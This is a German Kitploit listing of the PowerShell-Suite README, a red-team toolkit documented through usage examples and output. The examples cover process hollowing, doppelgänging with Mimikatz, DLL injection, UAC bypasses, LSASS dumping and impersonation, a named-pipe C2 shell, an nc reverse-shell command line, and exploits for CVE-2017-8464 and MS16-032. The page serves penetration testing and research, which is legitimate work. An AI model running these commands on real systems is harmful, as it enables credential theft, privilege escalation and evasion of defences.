Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
PowerShell-Suite — My musings with PowerShell | Kitploit
Tools/GitHubGitHub/fuzzysecurity/powershell-suite
Privilege EscalationLateral MovementDebuggersForensicsInformation GatheringPost-ExploitationBinary AnalysisRed Teaming
GitHubfuzzysecurity/powershell-suite

PowerShell-Suite

My musings with PowerShell

Repository anzeigen
2.7k763vor 4 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

PowerShell-Suite

Im Internet gibt es großartige Tools und Ressourcen, um nahezu jede Aufgabe in PowerShell zu bewältigen. Manchmal ist es jedoch erforderlich, ein Dienstprogramm für einen bestimmten Zweck zusammenzustellen oder eine ontologische Lücke zu schließen. Dies ist eine Sammlung von PowerShell-Dienstprogrammen, die ich entweder zum Spaß oder für einen eng umrissenen Anwendungszweck zusammengestellt habe.

Die Ergebnisse können daher unterschiedlich ausfallen, aber du kannst gerne Issues melden oder das Projekt forken und anpassen!

Windows-API

Einige Ressourcen zum Thema Windows-API-Zugriff über PowerShell:

  • FuzzySecurity: Low-Level Windows API Access From PowerShell
  • Microsoft TechNet: Use PowerShell to Interact with the Windows API
  • Exploit Monday: Accessing the Windows API in PowerShell via internal .NET methods and reflection
  • Exploit Monday: Deep Reflection - Defining Structs and Enums in PowerShell

Invoke-Runas

Funktional äquivalent zu Windows „runas.exe", unter Verwendung von Advapi32::CreateProcessWithLogonW.``` Start cmd with a local account. C:\PS> Invoke-Runas -User SomeAccount -Password SomePass -Binary C:\Windows\System32\cmd.exe -LogonType 0x1

Start cmd with remote credentials. Equivalent to "/netonly" in runas. C:\PS> Invoke-Runas -User SomeAccount -Password SomePass -Domain SomeDomain -Binary C:\Windows\System32\cmd.exe -LogonType 0x2

root@kitploit:~
### Invoke-NetSessionEnum

Verwenden Sie Netapi32::NetSessionEnum, um aktive Sitzungen auf domänengebundenen Computern aufzulisten.```
Enumerate active sessions on "SomeHostName".
C:\PS> Invoke-NetSessionEnum -HostName SomeHostName

Invoke-CreateProcess

Verwenden Sie Kernel32::CreateProcess, um eine feingranulare Kontrolle über die Prozesserstellung aus PowerShell zu erlangen.``` Start calc with NONE/SW_SHOWNORMAL/STARTF_USESHOWWINDOW C:\PS> Invoke-CreateProcess -Binary C:\Windows\System32\calc.exe -CreationFlags 0x0 -ShowWindow 0x1 -StartF 0x1

Start nc reverse shell with CREATE_NO_WINDOW/SW_HIDE/STARTF_USESHOWWINDOW C:\PS> Invoke-CreateProcess -Binary C:\Some\Path\nc.exe -Args "-nv 127.0.0.1 9988 -e C:\Windows\System32\cmd.exe" -CreationFlags 0x8000000 -ShowWindow 0x0 -StartF 0x1

root@kitploit:~
### Detect-Debug

Zeigt eine Reihe von Techniken, um das Vorhandensein von Kernel-/User-Mode-Debuggern aus PowerShell zu erkennen.```
Sample below is x64 Win8, WinDbg attached to PowerShell.
C:\PS> Detect-Debug

[+] Detect Kernel-Mode Debugging
    [?] SystemKernelDebuggerInformation: False

[+] Detect User-Mode Debugging
    [?] CloseHandle Exception: Detected
    [?] IsDebuggerPresent: Detected
    [?] CheckRemoteDebuggerPresent: Detected
    [?] PEB!BeingDebugged: Detected
    [?] PEB!NtGlobalFlag: Detected
    [?] DebugSelf: Detected

Get-Handles

Verwenden Sie NtQuerySystemInformation::SystemHandleInformation, um eine Liste der offenen Handles im angegebenen Prozess zu erhalten, funktioniert auf x32/x64.``` Get handles for PID 2288 C:\PS> Get-Handles -ProcID 2288

[>] PID 2288 --> notepad [+] Calling NtQuerySystemInformation::SystemHandleInformation [?] Success, allocated 449300 byte result buffer

[>] Result buffer contains 28081 SystemHandleInformation objects [>] PID 2288 has 71 handle objects

PID ObjectType HandleFlags Handle KernelPointer AccessMask


2288 Directory NONE 0x0004 0x88E629F0 0x00000000 2288 File NONE 0x0008 0x84560C98 0x00100000 2288 File NONE 0x000C 0x846164F0 0x00100000 2288 Key NONE 0x0010 0xA3067A80 0x00020000 2288 ALPC Port NONE 0x0014 0x8480C810 0x001F0000 2288 Mutant NONE 0x0018 0x8591FEB8 0x001F0000 2288 Key NONE 0x001C 0x96719C48 0x00020000 2288 Event NONE 0x0020 0x850C6838 0x001F0000 ...Snip...

root@kitploit:~
### Get-TokenPrivs

Öffnet ein Handle zu einem Prozess und verwendet Advapi32::GetTokenInformation, um die dem Prozess-Token zugeordneten Berechtigungen aufzulisten.```
Get token privileges for PID 3836
C:\PS> Get-TokenPrivs -ProcID 3836

[?] PID 3836 --> calc
[+] Process handle: 1428
[+] Token handle: 1028
[+] Token has 5 privileges:

LUID Privilege
---- ---------
  19 SeShutdownPrivilege
  23 SeChangeNotifyPrivilege
  25 SeUndockPrivilege
  33 SeIncreaseWorkingSetPrivilege
  34 SeTimeZonePrivilege

Get-Exports

Get-Exports ruft DLL-Exporte ab und bietet optional eine C++-Wrapper-Ausgabe (identisch zu ExportsToC++, aber ohne dass VS und eine kompilierte Binärdatei benötigt werden). Dazu liest es die DLL-Bytes in den Speicher und parst sie dann (kein LoadLibraryEx). Dadurch können Sie x32/x64-DLLs unabhängig von der Bitness von PowerShell parsen.``` PS C:> Get-Exports -DllPath C:\Windows\System32\ubpm.dll

[?] 32-bit Image!

[>] Time Stamp: 07/15/2016 18:07:55 [>] Function Count: 16 [>] Named Functions: 16 [>] Ordinal Base: 1 [>] Function Array RVA: 0x2F578 [>] Name Array RVA: 0x2F5B8 [>] Ordinal Array RVA: 0x2F5F8

Ordinal ImageRVA FunctionName


root@kitploit:~
  1 0x000242A0 UbpmAcquireJobBackgroundMode
  2 0x00004750 UbpmApiBufferFree
  3 0x00004E30 UbpmCloseTriggerConsumer
  4 0x000135E0 UbpmInitialize
  5 0x00008D00 UbpmOpenTriggerConsumer
  6 0x000242C0 UbpmReleaseJobBackgroundMode
  7 0x00013230 UbpmSessionStateChanged
  8 0x000242E0 UbpmTerminate
  9 0x00003BD0 UbpmTriggerConsumerConfigure
 10 0x000040C0 UbpmTriggerConsumerControl
 11 0x00025B10 UbpmTriggerConsumerControlNotifications
 12 0x00025B40 UbpmTriggerConsumerQueryStatus
 13 0x0000E1B0 UbpmTriggerConsumerRegister
 14 0x000043F0 UbpmTriggerConsumerSetDisabledForUser
 15 0x00012480 UbpmTriggerConsumerSetStatePublishingSecurity
 16 0x00005330 UbpmTriggerConsumerUnregister
root@kitploit:~
### Get-SystemModuleInformation

Verwenden Sie NtQuerySystemInformation::SystemModuleInformation, um eine Liste geladener Module, deren Basisadresse und Größe (x32/x64) zu erhalten.```
PS C:\> Get-SystemModuleInformation

[+] Calling NtQuerySystemInformation::SystemModuleInformation
[?] Success, allocated 55656 byte result buffer
[?] Result buffer contains 188 SystemModuleInformation objects

ImageBase          ImageSize ImageName
---------          --------- ---------
0xFFFFF80314C0D000 0x749000  \SystemRoot\system32\ntoskrnl.exe
0xFFFFF80315356000 0x6C000   \SystemRoot\system32\hal.dll
0xFFFFF803149ED000 0x9000    \SystemRoot\system32\kd.dll
0xFFFFF88000CB5000 0x5C000   \SystemRoot\System32\drivers\CLFS.SYS
0xFFFFF88000D11000 0x23000   \SystemRoot\System32\drivers\tm.sys
0xFFFFF88000D34000 0x15000   \SystemRoot\system32\PSHED.dll
0xFFFFF88000D49000 0xA000    \SystemRoot\system32\BOOTVID.dll
0xFFFFF88000D53000 0x7F000   \SystemRoot\system32\CI.dll
0xFFFFF88001068000 0x63000   \SystemRoot\System32\drivers\msrpc.sys
0xFFFFF880010CB000 0xC2000   \SystemRoot\system32\drivers\Wdf01000.sys
0xFFFFF8800118D000 0x10000   \SystemRoot\system32\drivers\WDFLDR.SYS
...Snip...

Expose-NetAPI

Ein einfaches Tool, um .NET-API-Klassen mithilfe von Reflektion für PowerShell verfügbar zu machen. Dazu gehören auch interne private Klassen wie Microsoft.Win32.UnsafeNativeMethods.```

Not all namespaces are available by default in

PowerShell, MSDN/Google is your friend!

C:\PS> Expose-NetAPI -Search bitmap

[!] Search returned no results, try specifying the namespace!

C:\PS> Expose-NetAPI -Search bitmap -Namespace System.Drawing

Assembly TypeName Name Definition


System.Drawing.dll System.Windows.Forms.DpiHelper CreateResizedBitmap static System.Drawing.Bitmap Crea... System.Drawing.dll System.Windows.Forms.DpiHelper ScaleBitmapLogicalToDevice static void ScaleBitmapLogicalToD... System.Drawing.dll System.Drawing.Bitmap FromHbitmap static System.Drawing.Bitmap From... System.Drawing.dll System.Drawing.BitmapSelector CreateBitmap static System.Drawing.Bitmap Crea... System.Drawing.dll System.Drawing.Image FromHbitmap static System.Drawing.Bitmap From... System.Drawing.dll System.Drawing.SafeNativeMethods CreateBitmap static System.IntPtr CreateBitmap... System.Drawing.dll System.Drawing.SafeNativeMethods CreateCompatibleBitmap static System.IntPtr CreateCompat... System.Drawing.dll System.Drawing.SafeNativeMethods IntCreateBitmap static System.IntPtr IntCreateBit... System.Drawing.dll System.Drawing.SafeNativeMethods IntCreateCompatibleBitmap static System.IntPtr IntCreateCom... System.Drawing.dll System.Drawing.Imaging.Metafile FromHbitmap static System.Drawing.Bitmap From...

Often multiple options available with differing

definitions. Take care when selecting the desired

API.

C:\PS> Expose-NetAPI -Search drawbutton |Select Assembly,TypeName,Name |ft

Assembly TypeName Name


System.Windows.Forms.dll System.Windows.Forms.ButtonRenderer DrawButton System.Windows.Forms.dll System.Windows.Forms.ControlPaint DrawButton System.Windows.Forms.dll System.Windows.Forms.DataGridViewButtonCell+Da... DrawButton

Take care when directly calling enable, a number

of assemblies are not loaded by default!

C:\PS> Expose-NetAPI -Enable -Assembly System.Windows.Forms.dll -TypeName System.Windows.Forms.SafeNativeMethods

[!] Unable to locate specified assembly!

C:\PS> Expose-NetAPI -Load System.Windows.Forms True

C:\PS> Expose-NetAPI -Enable -Assembly System.Windows.Forms.dll -TypeName System.Windows.Forms.SafeNativeMethods

[+] Created $SystemWindowsFormsSafeNativeMethods!

Once enabled the TypeName is exposed as a global

variable and can be used to call any API's it includes!

C:\PS> Expose-NetAPI -Enable -Assembly System.dll -TypeName Microsoft.Win32.UnsafeNativeMethods |Out-Null C:\PS> Expose-NetAPI -Enable -Assembly System.dll -TypeName Microsoft.Win32.SafeNativeMethods |Out-Null C:\PS> $ModHandle = $MicrosoftWin32UnsafeNativeMethods::GetModuleHandle("kernel32.dll") C:\PS> $Kernel32Ref = New-Object System.Runtime.InteropServices.HandleRef([IntPtr]::Zero,$ModHandle) C:\PS> $Beep = $MicrosoftWin32UnsafeNativeMethods::GetProcAddress($Kernel32Ref, "Beep") C:\PS> $MicrosoftWin32SafeNativeMethods::MessageBox([IntPtr]::Zero,$("{0:X}" -f [int64]$Beep),"Beep",0)

root@kitploit:~
### Get-ProcessMiniDump

Erstellen Sie einen Prozessdump mithilfe von Dbghelp::MiniDumpWriteDump.```
# Elevated user dumping elevated process

C:\PS> (Get-Process lsass).Id
528

C:\PS> $CallResult = Get-ProcessMiniDump -ProcID 528 -Path C:\Users\asenath.waite\Desktop\tmp.ini -Verbose
VERBOSE: [?] Running as: Administrator
VERBOSE: [?] Administrator privileges required
VERBOSE: [>] Administrator privileges held
VERBOSE: [>] Process dump success!

C:\PS> $CallResult
True

# low priv user dumping low priv process

C:\PS> (Get-Process calc).Id
2424

C:\PS> $CallResult = Get-ProcessMiniDump -ProcID 2424 -Path C:\Users\asenath.waite\Desktop\tmp.ini -Verbose
VERBOSE: [?] Running as: asenath.waite
VERBOSE: [>] Process dump success!

C:\PS> $CallResult
True

# low priv user dumping elevated process
C:\PS> $CallResult = Get-ProcessMiniDump -ProcID 4 -Path C:\Users\asenath.waite\Desktop\tmp.ini -Verbose
VERBOSE: [?] Running as: asenath.waite
VERBOSE: [?] Administrator privileges required
VERBOSE: [!] Administrator privileges not held!

C:\PS> $CallResult
False

Get-SystemProcessInformation

Verwenden Sie NtQuerySystemInformation::SystemProcessInformation, um eine detaillierte Liste von Prozessen und Prozesseigenschaften zu erhalten. Bei genauerer Betrachtung werden Sie feststellen, dass viele Prozessmonitore wie Sysinternals Process Explorer oder Process Hacker diese Informationsklasse verwenden (zusätzlich zu SystemPerformanceInformation, SystemProcessorPerformanceInformation und SystemProcessorCycleTimeInformation).```

Return full process listing

C:\PS> Get-SystemProcessInformation

Return only specific PID

C:\PS> Get-SystemProcessInformation -ProcID 1336

PID : 1336 InheritedFromPID : 1020 ImageName : svchost.exe Priority : 8 CreateTime : 0d:9h:8m:47s UserCPU : 0d:0h:0m:0s KernelCPU : 0d:0h:0m:0s ThreadCount : 12 HandleCount : 387 PageFaults : 7655 SessionId : 0 PageDirectoryBase : 3821568 PeakVirtualSize : 2097249.796875 MB VirtualSize : 2097240.796875 MB PeakWorkingSetSize : 11.65625 MB WorkingSetSize : 6.2109375 MB QuotaPeakPagedPoolUsage : 0.175910949707031 MB QuotaPagedPoolUsage : 0.167121887207031 MB QuotaPeakNonPagedPoolUsage : 0.0151519775390625 MB QuotaNonPagedPoolUsage : 0.0137710571289063 MB PagefileUsage : 3.64453125 MB PeakPagefileUsage : 4.14453125 MB PrivatePageCount : 3.64453125 MB ReadOperationCount : 0 WriteOperationCount : 0 OtherOperationCount : 223 ReadTransferCount : 0 WriteTransferCount : 0 OtherTransferCount : 25010

Possibly returns multiple processes

eg: notepad.exe & notepad++.exe

C:\PS> Get-SystemProcessInformation -ProcName note

root@kitploit:~
### Get-OSTokenInformation

Get-OSTokenInformation verwendet eine Vielzahl von APIs, um alle (zugänglichen) Benutzertokens abzurufen und sie nach Details abzufragen.```
# Return full token listing
C:\PS> $OsTokens = Get-OSTokenInformation

C:\PS> $OsTokens.Count
136

C:\PS> $OsTokens[10]

PassMustChange      : N/A
ProcessCompany      : Microsoft Corporation
AuthPackage         : NTLM
TokenType           : TokenPrimary
PID                 : 5876
LastSuccessfulLogon : N/A
Session             : 1
LastFailedLogon     : N/A
ProcessPath         : C:\Windows\system32\backgroundTaskHost.exe
LogonServer         : MSEDGEWIN10
Sid                 : S-1-5-21-4233833229-2203495600-2027003190-1000
ProcessAuthenticode : Valid
User                : MSEDGEWIN10\IEUser
LoginTime           : 4/16/2018 9:52:20 PM
TokenPrivilegeCount : 5
TokenPrivileges     : {SeShutdownPrivilege, SeChangeNotifyPrivilege, SeUndockPrivilege,
                      SeIncreaseWorkingSetPrivilege...}
Process             : backgroundTaskHost
PassLastSet         : 10/17/2017 6:13:19 PM
ImpersonationType   : N/A
TID                 : Primary
TokenGroups         : {MSEDGEWIN10\IEUser, MSEDGEWIN10\None, Everyone, NT AUTHORITY\Local account and member of
                      Administrators group...}
LogonType           : Interactive
GroupCount          : 14
Elevated            : No

# Return brief token listing
C:\PS> Get-OSTokenInformation -Brief

Process               PID TID     Elevated ImpersonationType     User
-------               --- ---     -------- -----------------     ----
ApplicationFrameHost 5820 Primary No       N/A                   MSEDGEWIN10\IEUser
backgroundTaskHost   1076 Primary No       N/A                   MSEDGEWIN10\IEUser
backgroundTaskHost   1960 Primary No       N/A                   MSEDGEWIN10\IEUser
backgroundTaskHost   7860 Primary No       N/A                   MSEDGEWIN10\IEUser
CompatTelRunner       680 Primary Yes      N/A                   NT AUTHORITY\SYSTEM
CompatTelRunner      6916 Primary Yes      N/A                   NT AUTHORITY\SYSTEM
CompatTelRunner      8488 Primary Yes      N/A                   NT AUTHORITY\SYSTEM
svchost              3572 Primary Yes      N/A                   NT AUTHORITY\SYSTEM
svchost              3900 Primary Yes      N/A                   NT AUTHORITY\SYSTEM
svchost              4292 Primary Yes      N/A                   NT AUTHORITY\SYSTEM
svchost              4292 144     No       SecurityImpersonation MSEDGEWIN10\IEUser
svchost              4292 7704    No       SecurityImpersonation MSEDGEWIN10\IEUser
svchost              4292 1404    No       SecurityImpersonation MSEDGEWIN10\IEUser
svchost              4464 Primary No       N/A                   MSEDGEWIN10\IEUser
svchost              4556 Primary No       N/A                   MSEDGEWIN10\IEUser
[... Snip ...]

Native-HardLink

Dies ist ein Proof-of-Concept für NT-Hardlinks. Aus offensiver Sicht gibt es einige Vorteile, NtSetInformationFile zum Erstellen von Hardlinks zu verwenden (anstelle von mklink/CreateHardLink). NtSetInformationFile ermöglicht es uns, eine Verknüpfung zu Dateien herzustellen, auf die wir keinen Schreibzugriff haben.``` PS C:> Native-HardLink -Link C:\Some\Path\Hard.Link -Target C:\Some\Path\Target.file True

root@kitploit:~
## pwnd

### Start-Hollow

Dies ist ein Proof-of-Concept für Process Hollowing. Es gibt hier nichts Neues, außer vielleicht die Verwendung von NtCreateProcessEx, die einige Vorteile bietet, da sie eine bequeme Möglichkeit darstellt, einen Elternprozess festzulegen und das lästige Get/SetThreadContext vermeidet. Andererseits sind CreateRemoteThreadEx/NtCreateThreadEx ziemlich verdächtige APIs.```
# Create a Hollow from a PE on disk with explorer as the parent.
# x64 Win10 RS4
C:\PS> Start-Hollow -Sponsor C:\Windows\System32\notepad.exe -Hollow C:\Some\PE.exe -ParentPID 8304 -Verbose
VERBOSE: [?] A place where souls may mend your ailing mind..
VERBOSE: [+] Opened file for access
VERBOSE: [+] Created section from file handle
VERBOSE: [+] Opened handle to the parent => explorer
VERBOSE: [+] Created process from section
VERBOSE: [+] Acquired PBI
VERBOSE: [+] Sponsor architecture is x64
VERBOSE: [+] Sponsor ImageBaseAddress => 7FF69E9F0000
VERBOSE: [+] Allocated space for the Hollow process
VERBOSE: [+] Duplicated Hollow PE headers to the Sponsor
VERBOSE: [+] Duplicated .text section to the Sponsor
VERBOSE: [+] Duplicated .rdata section to the Sponsor
VERBOSE: [+] Duplicated .data section to the Sponsor
VERBOSE: [+] Duplicated .pdata section to the Sponsor
VERBOSE: [+] Duplicated .rsrc section to the Sponsor
VERBOSE: [+] Duplicated .reloc section to the Sponsor
VERBOSE: [+] New process ImageBaseAddress => 40000000
VERBOSE: [+] Created Hollow process parameters
VERBOSE: [+] Allocated memory in the Hollow
VERBOSE: [+] Process parameters duplicated into the Hollow
VERBOSE: [+] Rewrote Hollow->PEB->pProcessParameters
VERBOSE: [+] Created Hollow main thread..
True

Start-Eidolon

Dies ist ein Proof-of-Concept für doppelgänging, das kürzlich von enSilo auf der BlackHat EU vorgestellt wurde. In einfachen Worten wird bei diesem Verfahren eine NTFS-Transaktion aus einer Datei auf der Festplatte erstellt (beliebige Datei). Als Nächstes überschreiben wir die Datei im Speicher, erstellen eine Section aus der geänderten Datei und starten einen Prozess auf der Grundlage dieser Section. Anschließend rollen wir die Transaktion zurück, sodass die ursprüngliche Datei unverändert bleibt, wir aber einen Prozess erhalten, der scheinbar von der ursprünglichen Datei unterstützt wird. Eine vollständigere Beschreibung finden Sie in der Referenz im Skript.```

Create a doppelgänger from a file on disk with explorer as the parent.

x64 Win10 RS3

C:\PS> Start-Eidolon -Target C:\Some\File.Path -Eidolon C:\Some\Other\File.Path -ParentPID 12784 -Verbose VERBOSE: [+] Created transaction object VERBOSE: [+] Created transacted file VERBOSE: [+] Overwriting transacted file VERBOSE: [+] Created section from transacted file VERBOSE: [+] Rolled back transaction changes VERBOSE: [+] Opened handle to the parent => explorer VERBOSE: [+] Created process from section VERBOSE: [+] Acquired Eidolon PBI VERBOSE: [+] Eidolon architecture is 64-bit VERBOSE: [+] Eidolon image base: 0x7FF6A0570000 VERBOSE: [+] Eidolon entry point: 0x7FF6A05E40C8 VERBOSE: [+] Created Eidolon process parameters VERBOSE: [+] Allocated memory in Eidolon VERBOSE: [+] Process parameters duplicated into Eidolon VERBOSE: [+] Rewrote Eidolon->PEB->pProcessParameters VERBOSE: [+] Created Eidolon main thread.. True

Create a fileless Mimikatz doppelgänger with PowerShell as the parent.

x32 Win7

C:\PS> Start-Eidolon -Target C:\Some\File.Path -Mimikatz -Verbose VERBOSE: [+] Created transaction object VERBOSE: [+] Created transacted file VERBOSE: [+] Overwriting transacted file VERBOSE: [+] Created section from transacted file VERBOSE: [+] Rolled back transaction changes VERBOSE: [+] Created process from section VERBOSE: [+] Acquired Eidolon PBI VERBOSE: [+] Eidolon architecture is 32-bit VERBOSE: [+] Eidolon image base: 0x400000 VERBOSE: [+] Eidolon entry point: 0x4572D2 VERBOSE: [+] Created Eidolon process parameters VERBOSE: [+] Allocated memory in Eidolon VERBOSE: [+] Process parameters duplicated into Eidolon VERBOSE: [+] Rewrote Eidolon->PEB->pProcessParameters VERBOSE: [+] Created Eidolon main thread.. True

root@kitploit:~
### Stage-RemoteDll

Stage-RemoteDll ist eine kleine Funktion, um verschiedene DLL-Injection-Techniken (NtCreateThreadEx / QueueUserAPC / SetThreadContext / SetWindowsHookEx) auf 32- und 64-Bit-Architekturen zu demonstrieren. Obwohl ich einige Eingabevalidierung und Bereinigung durchgeführt habe, handelt es sich hierbei größtenteils um POC-Code. Beachten Sie außerdem, dass diese Techniken leicht zweckentfremdet werden können, um Shellcode direkt im entfernten Prozess auszuführen.```
# Boolean return value
C:\PS> $CallResult = Stage-RemoteDll -ProcID 1337 -DllPath .\Desktop\evil.dll -Mode NtCreateThreadEx
C:\PS> $CallResult
True

# Verbose output
C:\PS> Stage-RemoteDll -ProcID 1337 -DllPath .\Desktop\evil.dll -Mode QueueUserAPC -Verbose
VERBOSE: [+] Using QueueUserAPC
VERBOSE: [>] Opening notepad
VERBOSE: [>] Allocating DLL path memory
VERBOSE: [>] Writing DLL string
VERBOSE: [>] Locating LoadLibraryA
VERBOSE: [>] Getting process threads
VERBOSE: [>] Registering APC's with all threads
VERBOSE:   --> Success, registered APC
VERBOSE:   --> Success, registered APC
VERBOSE:   --> Success, registered APC
VERBOSE:   --> Success, registered APC
VERBOSE: [>] Cleaning up..
True

Export-LNKPwn

Erstellen Sie LNK-Dateien, um CVE-2017-8464 alias LNK round 3 auszunutzen ;))!

Derzeit wird empfohlen, die LNK-Datei lokal zu erstellen und sie dann auf das Zielsystem zu übertragen, da .Net- und PowerShell-Abhängigkeiten bestehen. Weitere Einzelheiten finden Sie in der Funktionsübersicht.``` C:\PS> Export-LNKPwn -LNKOutPath C:\Some\Local\Path.lnk -TargetCPLPath C:\Target\CPL\Path.cpl -Type SpecialFolderDataBlock

root@kitploit:~
### UAC-TokenMagic

Basiert auf James Forshaws dreiteiligem Beitrag über UAC, unten verlinkt, und möglicherweise einer Technik, die von der CIA verwendet wurde!

Im Wesentlichen duplizieren wir das Token eines erhöhten Prozesses, senken seine obligatorische Integritätsstufe, verwenden es, um ein neues eingeschränktes Token zu erstellen, impersonieren es und nutzen den Secondary-Logon-Dienst, um einen neuen Prozess mit High IL zu starten. Wie ein Versteckspiel mit Tokens! ;))

Targets:
7,8,8.1,10,10RS1,10RS2```
C:\PS> UAC-TokenMagic -BinPath C:\Windows\System32\cmd.exe -Args "/c calc.exe" -ProcPID 1116

[*] Session is not elevated
[*] Successfully acquired regedit handle
[*] Opened process token
[*] Duplicated process token
[*] Initialized MedIL SID
[*] Lowered token mandatory IL
[*] Created restricted token
[*] Duplicated restricted token
[*] Successfully impersonated security context
[*] Magic..

Bypass-UAC

Bypass-UAC stellt ein Framework bereit, um UAC-Bypasses auf Basis von auto-elevierenden IFileOperation-COM-Objektmethodenaufrufen durchzuführen. Dies ist keine neue Technik; traditionell wird dies erreicht, indem eine DLL in „explorer.exe“ injiziert wird. Das ist jedoch nicht wünschenswert, da das Injizieren in den Explorer Sicherheitswarnungen auslösen kann und die Arbeit mit nicht verwalteten DLLs einen unflexiblen Arbeitsablauf erzeugt.

Um dies zu umgehen, implementiert Bypass-UAC eine Funktion, die den PEB von PowerShell neu schreibt, um ihm das Erscheinungsbild von „explorer.exe“ zu verleihen. Dies hat denselben Effekt, da COM-Objekte ausschließlich auf die Windows-Prozessstatus-API (PSAPI) angewiesen sind, die den Prozess-PEB ausliest.``` C:\PS> Bypass-UAC -Method ucmDismMethod

[!] Impersonating explorer.exe! [+] PebBaseAddress: 0x000007F73E93F000 [!] RtlEnterCriticalSection --> &Peb->FastPebLock [>] Overwriting &Peb->ProcessParameters.ImagePathName: 0x000000569B5F1780 [>] Overwriting &Peb->ProcessParameters.CommandLine: 0x000000569B5F1790 [?] Traversing &Peb->Ldr->InLoadOrderModuleList doubly linked list [>] Overwriting _LDR_DATA_TABLE_ENTRY.FullDllName: 0x000000569B5F2208 [>] Overwriting _LDR_DATA_TABLE_ENTRY.BaseDllName: 0x000000569B5F2218 [!] RtlLeaveCriticalSection --> &Peb->FastPebLock

[>] Dropping proxy dll.. [+] 64-bit Yamabiko: C:\Users\b33f\AppData\Local\Temp\yam1730961377.tmp [>] Creating XML trigger: C:\Users\b33f\AppData\Local\Temp\pac500602004.xml [>] Performing elevated IFileOperation::MoveItem operation..

[?] Executing PkgMgr.. [!] UAC artifact: C:\Windows\System32\dismcore.dll [!] UAC artifact: C:\Users\b33f\AppData\Local\Temp\pac500602004.xml

root@kitploit:~
### Masquerade-PEB

Masquerade-PEB verwendet NtQueryInformationProcess, um ein Handle auf das PEB von PowerShell zu erhalten. Von dort aus ersetzt es eine Reihe von UNICODE_STRING-Strukturen im Speicher, um PowerShell das Aussehen eines anderen Prozesses zu verleihen. Konkret überschreibt die Funktion „ImagePathName“ und „CommandLine“ in _RTL_USER_PROCESS_PARAMETERS sowie „FullDllName“ und „BaseDllName“ in der _LDR_DATA_TABLE_ENTRY-verknüpften Liste.

Dies kann nützlich sein, da es jede Windows-Workflow täuschen würde, die sich bei der Überprüfung der Prozessidentität ausschließlich auf die Process Status API verlässt.```
C:\PS> Masquerade-PEB -BinPath C:\Windows\System32\notepad.exe

[?] PID 2756
[+] PebBaseAddress: 0x7FFD3000
[!] RtlEnterCriticalSection --> &Peb->FastPebLock
[>] Overwriting &Peb->ProcessParameters.ImagePathName: 0x002F11F8
[>] Overwriting &Peb->ProcessParameters.CommandLine: 0x002F1200
[?] Traversing &Peb->Ldr->InLoadOrderModuleList doubly linked list
[>] Overwriting _LDR_DATA_TABLE_ENTRY.FullDllName: 0x002F1B74
[>] Overwriting _LDR_DATA_TABLE_ENTRY.BaseDllName: 0x002F1B7C
[!] RtlLeaveCriticalSection --> &Peb->FastPebLock

Invoke-SMBShell

POC-Shell, die Named Pipes (System.IO.Pipes) als C2-Kanal verwendet. Der SMB-Verkehr wird mit AES CBC verschlüsselt (Code aus Empire), der Schlüssel/die Pipe werden beim Start vom Server zufällig generiert.

Server:``` PS C:> Invoke-SMBShell

+------- | Host Name: 0AK | Named Pipe: tapsrv.5604.yk0DxXvjUD9xwyJ9 | AES Key: q6EKfuJTX93YUnmX +-------

[>] Waiting for client..

SMB shell: whoami 0ak\b33f

SMB shell: IdontExist The term 'IdontExist' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.

SMB shell: $PSVersionTable Name Value


PSRemotingProtocolVersion 2.2 BuildVersion 6.2.9200.17065 PSCompatibleVersions {1.0, 2.0, 3.0} PSVersion 3.0 CLRVersion 4.0.30319.42000 WSManStackVersion 3.0 SerializationVersion 1.1.0.1

SMB shell: leave

[!] Client disconnecting..

[>] Waiting for client..

SMB shell: calc Job SMBJob-dVkIkAkXINjMe09S completed successfully!

SMB shell: exit

[!] Client disconnecting.. [!] Terminating server..

PS C:>

root@kitploit:~
**Client:**```
# Client disconnected because of "leave" command
PS C:\> Invoke-SMBShell -Client -Server 0AK -AESKey q6EKfuJTX93YUnmX -Pipe tapsrv.5604.yk0DxXvjUD9xwyJ9
# Client disconnected because "exit" command kills client/server
PS C:\> Invoke-SMBShell -Client -Server 0AK -AESKey q6EKfuJTX93YUnmX -Pipe tapsrv.5604.yk0DxXvjUD9xwyJ9

Conjure-LSASS

Verwenden Sie SeDebugPrivilege, um das LSASS-Zugriffstoken zu duplizieren und es im aufrufenden Thread zu impersonieren. Wenn SeDebugPrivilege deaktiviert ist, aktiviert die Funktion es erneut.``` Conjure LSASS into our midst! ;) C:\PS> Conjure-LSASS

[?] SeDebugPrivilege is available!

[+] Current process handle: 852

[>] Calling Advapi32::OpenProcessToken [+] Token handle with TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY: 2000

[?] SeDebugPrivilege is enabled!

[>] Calling Advapi32::OpenProcessToken --> LSASS [+] Token handle with TOKEN_IMPERSONATE|TOKEN_DUPLICATE: 1512

[>] Calling Advapi32::DuplicateToken --> LSASS [+] Duplicate token handle with SecurityImpersonation level: 2008

[>] Calling Advapi32::SetThreadToken [+] Knock knock .. who's there .. LSASS [+] User context: SYSTEM

C:\PS> whoami ERROR: Access is denied. ERROR: Access is denied.

C:\PS> Get-ChildItem -Path hklm:SAM

root@kitploit:~
Hive: HKEY_LOCAL_MACHINE\SAM

SKC VC Name Property


3 2 SAM {C, ServerDomainUpdates}

root@kitploit:~
### Invoke-MS16-032

PowerShell-Implementierung von MS16-032. Der Exploit zielt auf alle verwundbaren Betriebssysteme, die PowerShell v2+ unterstützen. Die Anerkennung für die Entdeckung des Fehlers und die Logik zu seiner Ausnutzung gebührt James Forshaw (@tiraniddo).

Ziele:

* Win7-Win10 & 2k8-2k12 <== 32/64 Bit!
* Getestet auf x32 Win7, x64 Win8, x64 2k12R2

==> Nicht getestet auf Vista mit PowerShell v1, lass mich wissen, was passiert, wenn du das überprüfen kannst!```
Sit back and watch the pwn!
